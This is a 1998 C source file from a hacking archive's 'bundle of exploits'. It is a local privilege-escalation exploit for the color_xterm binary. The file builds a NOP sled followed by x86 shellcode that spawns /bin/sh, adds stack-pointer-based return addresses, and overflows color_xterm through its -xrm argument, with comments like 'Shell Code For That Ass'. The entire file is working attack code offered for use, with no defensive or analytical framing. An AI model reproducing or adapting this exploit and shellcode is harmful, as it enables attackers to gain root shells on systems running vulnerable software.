home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / color_xterm.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  61 lines

  1. /* exploit for color_xterm, modified by zgv */
  2. /* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <fcntl.h>
  8.  
  9. #define BUFFER_SIZE 1024
  10. #define DEFAULT_OFFSET 50
  11. #define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
  12. #define NOP_SIZE 1
  13.  
  14. char nop[] = "\x90";
  15.  
  16. /* Shell Code For That Ass */
  17. char shellcode[] =
  18.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  19.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  20.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  21.  
  22. unsigned long get_sp(void) {
  23.    __asm__("movl %esp,%eax");
  24. }
  25.  
  26. /* Lets d0 d1s */
  27. void main(int argc,char **argv)
  28. {
  29.    char *buff = NULL;
  30.    unsigned long *addr_ptr = NULL;
  31.    char *ptr = NULL;
  32.    int i,OffSet = DEFAULT_OFFSET;
  33.  
  34.    if (argc>1) OffSet = atoi(argv[1]);
  35.  
  36.    buff = malloc(2048);
  37.    if(!buff)
  38.    {
  39.       printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
  40.       exit(0);
  41.    }
  42.    ptr = buff;
  43.  
  44.    for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
  45.         memcpy (ptr,nop,NOP_SIZE);
  46.         ptr+=NOP_SIZE;
  47.    }
  48.  
  49.    for(i=0;i < strlen(shellcode);i++)
  50.       *(ptr++) = shellcode[i];
  51.  
  52.    addr_ptr = (long *)ptr;
  53.    for(i=0;i < (8/4);i++)
  54.       *(addr_ptr++) = get_sp() + OffSet;
  55.    ptr = (char *)addr_ptr;
  56.    *ptr = 0;
  57.    (void) fprintf(stderr,"bewm bash#\n");
  58.  
  59.     execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
  60. }
  61.